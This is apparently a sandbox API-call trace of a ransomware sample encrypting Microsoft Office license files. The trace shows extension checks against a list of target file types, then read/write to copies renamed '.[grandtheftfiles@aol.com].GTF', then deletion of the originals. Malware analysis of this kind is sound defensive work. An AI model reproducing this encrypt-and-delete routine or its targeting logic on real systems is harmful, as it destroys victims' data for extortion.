	[0180.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms")) returned 1
	[0180.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0180.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0180.339] lstrlenW (lpString=".doc") returned 4
	[0180.339] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.339] lstrlenW (lpString=".docx") returned 5
	[0180.339] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.339] lstrlenW (lpString=".pdf") returned 4
	[0180.339] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.339] lstrlenW (lpString=".xls") returned 4
	[0180.339] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.339] lstrlenW (lpString=".xlsx") returned 5
	[0180.339] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.339] lstrlenW (lpString=".ppt") returned 4
	[0180.339] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0180.339] lstrlenW (lpString=".zip") returned 4
	[0180.339] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.339] lstrlenW (lpString=".rar") returned 4
	[0180.340] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.340] lstrlenW (lpString=".bz2") returned 4
	[0180.340] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.340] lstrlenW (lpString=".7z") returned 3
	[0180.340] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0180.340] lstrlenW (lpString=".dbf") returned 4
	[0180.340] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0180.340] lstrlenW (lpString=".1cd") returned 4
	[0180.340] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0180.340] lstrlenW (lpString=".jpg") returned 4
	[0180.340] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0180.340] lstrlenW (lpString=".doc") returned 4
	[0180.340] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.340] lstrlenW (lpString=".docx") returned 5
	[0180.340] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.340] lstrlenW (lpString=".pdf") returned 4
	[0180.340] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.340] lstrlenW (lpString=".xls") returned 4
	[0180.340] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.340] lstrlenW (lpString=".xlsx") returned 5
	[0180.340] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.340] lstrlenW (lpString=".ppt") returned 4
	[0180.340] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0180.340] lstrlenW (lpString=".zip") returned 4
	[0180.340] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.340] lstrlenW (lpString=".rar") returned 4
	[0180.340] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.340] lstrlenW (lpString=".bz2") returned 4
	[0180.340] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.341] lstrlenW (lpString=".7z") returned 3
	[0180.341] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0180.341] lstrlenW (lpString=".dbf") returned 4
	[0180.341] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0180.341] lstrlenW (lpString=".1cd") returned 4
	[0180.341] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0180.341] lstrlenW (lpString=".jpg") returned 4
	[0180.341] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.341] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.341] lstrlenW (lpString="O365ProPlusR_Grace-ppd.xrm-ms") returned 29
	[0180.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.342] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=24302) returned 1
	[0180.342] CloseHandle (hObject=0x548) returned 1
	[0180.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms")) returned 0x220
	[0180.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.342] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.342] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0180.343] GetLastError () returned 0x0
	[0180.343] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x5eee, lpOverlapped=0x0) returned 1
	[0180.368] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x5ef0, lpOverlapped=0x0) returned 1
	[0180.369] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.369] WriteFile (in: hFile=0x374, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0180.369] SetEndOfFile (hFile=0x374) returned 1
	[0180.370] CloseHandle (hObject=0x374) returned 1
	[0180.370] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.370] SetEndOfFile (hFile=0x548) returned 1
	[0180.373] CloseHandle (hObject=0x548) returned 1
	[0180.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms")) returned 1
	[0180.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0180.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0180.374] lstrlenW (lpString=".doc") returned 4
	[0180.374] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.374] lstrlenW (lpString=".docx") returned 5
	[0180.374] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.374] lstrlenW (lpString=".pdf") returned 4
	[0180.374] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.374] lstrlenW (lpString=".xls") returned 4
	[0180.374] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.374] lstrlenW (lpString=".xlsx") returned 5
	[0180.374] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.374] lstrlenW (lpString=".ppt") returned 4
	[0180.374] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0180.374] lstrlenW (lpString=".zip") returned 4
	[0180.374] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.374] lstrlenW (lpString=".rar") returned 4
	[0180.374] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.374] lstrlenW (lpString=".bz2") returned 4
	[0180.374] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.374] lstrlenW (lpString=".7z") returned 3
	[0180.374] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0180.374] lstrlenW (lpString=".dbf") returned 4
	[0180.374] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0180.375] lstrlenW (lpString=".1cd") returned 4
	[0180.375] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0180.375] lstrlenW (lpString=".jpg") returned 4
	[0180.375] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0180.375] lstrlenW (lpString=".doc") returned 4
	[0180.375] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.375] lstrlenW (lpString=".docx") returned 5
	[0180.375] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.375] lstrlenW (lpString=".pdf") returned 4
	[0180.375] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.375] lstrlenW (lpString=".xls") returned 4
	[0180.375] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.375] lstrlenW (lpString=".xlsx") returned 5
	[0180.375] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.375] lstrlenW (lpString=".ppt") returned 4
	[0180.375] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0180.375] lstrlenW (lpString=".zip") returned 4
	[0180.375] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.375] lstrlenW (lpString=".rar") returned 4
	[0180.375] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.375] lstrlenW (lpString=".bz2") returned 4
	[0180.375] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.375] lstrlenW (lpString=".7z") returned 3
	[0180.375] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0180.375] lstrlenW (lpString=".dbf") returned 4
	[0180.375] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0180.375] lstrlenW (lpString=".1cd") returned 4
	[0180.375] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0180.376] lstrlenW (lpString=".jpg") returned 4
	[0180.376] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.393] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.393] lstrlenW (lpString="O365ProPlusR_Subscription1-pl.xrm-ms") returned 36
	[0180.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0180.393] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11195) returned 1
	[0180.393] CloseHandle (hObject=0x378) returned 1
	[0180.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms")) returned 0x220
	[0180.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0180.394] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.394] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0180.395] GetLastError () returned 0x0
	[0180.395] ReadFile (in: hFile=0x378, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0180.408] WriteFile (in: hFile=0x52c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0180.409] ReadFile (in: hFile=0x378, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.409] WriteFile (in: hFile=0x52c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0180.409] SetEndOfFile (hFile=0x52c) returned 1
	[0180.409] CloseHandle (hObject=0x52c) returned 1
	[0180.409] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.409] SetEndOfFile (hFile=0x378) returned 1
	[0180.415] CloseHandle (hObject=0x378) returned 1
	[0180.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms")) returned 1
	[0180.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0180.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0180.420] lstrlenW (lpString=".doc") returned 4
	[0180.420] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.420] lstrlenW (lpString=".docx") returned 5
	[0180.420] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.420] lstrlenW (lpString=".pdf") returned 4
	[0180.420] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.420] lstrlenW (lpString=".xls") returned 4
	[0180.420] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.420] lstrlenW (lpString=".xlsx") returned 5
	[0180.420] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.420] lstrlenW (lpString=".ppt") returned 4
	[0180.420] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0180.420] lstrlenW (lpString=".zip") returned 4
	[0180.420] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.420] lstrlenW (lpString=".rar") returned 4
	[0180.420] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.420] lstrlenW (lpString=".bz2") returned 4
	[0180.420] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.420] lstrlenW (lpString=".7z") returned 3
	[0180.420] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0180.420] lstrlenW (lpString=".dbf") returned 4
	[0180.420] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0180.420] lstrlenW (lpString=".1cd") returned 4
	[0180.420] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0180.420] lstrlenW (lpString=".jpg") returned 4
	[0180.421] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0180.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0180.421] lstrlenW (lpString=".doc") returned 4
	[0180.421] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.421] lstrlenW (lpString=".docx") returned 5
	[0180.421] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.421] lstrlenW (lpString=".pdf") returned 4
	[0180.421] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.421] lstrlenW (lpString=".xls") returned 4
	[0180.421] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.421] lstrlenW (lpString=".xlsx") returned 5
	[0180.421] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.421] lstrlenW (lpString=".ppt") returned 4
	[0180.421] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0180.421] lstrlenW (lpString=".zip") returned 4
	[0180.421] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.421] lstrlenW (lpString=".rar") returned 4
	[0180.421] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.421] lstrlenW (lpString=".bz2") returned 4
	[0180.421] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.421] lstrlenW (lpString=".7z") returned 3
	[0180.421] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0180.421] lstrlenW (lpString=".dbf") returned 4
	[0180.421] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0180.421] lstrlenW (lpString=".1cd") returned 4
	[0180.421] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0180.421] lstrlenW (lpString=".jpg") returned 4
	[0180.421] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.422] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.422] lstrlenW (lpString="O365ProPlusR_Subscription1-ul-oob.xrm-ms") returned 40
	[0180.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.423] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11646) returned 1
	[0180.423] CloseHandle (hObject=0x548) returned 1
	[0180.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms")) returned 0x220
	[0180.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0180.424] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.424] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0180.425] GetLastError () returned 0x0
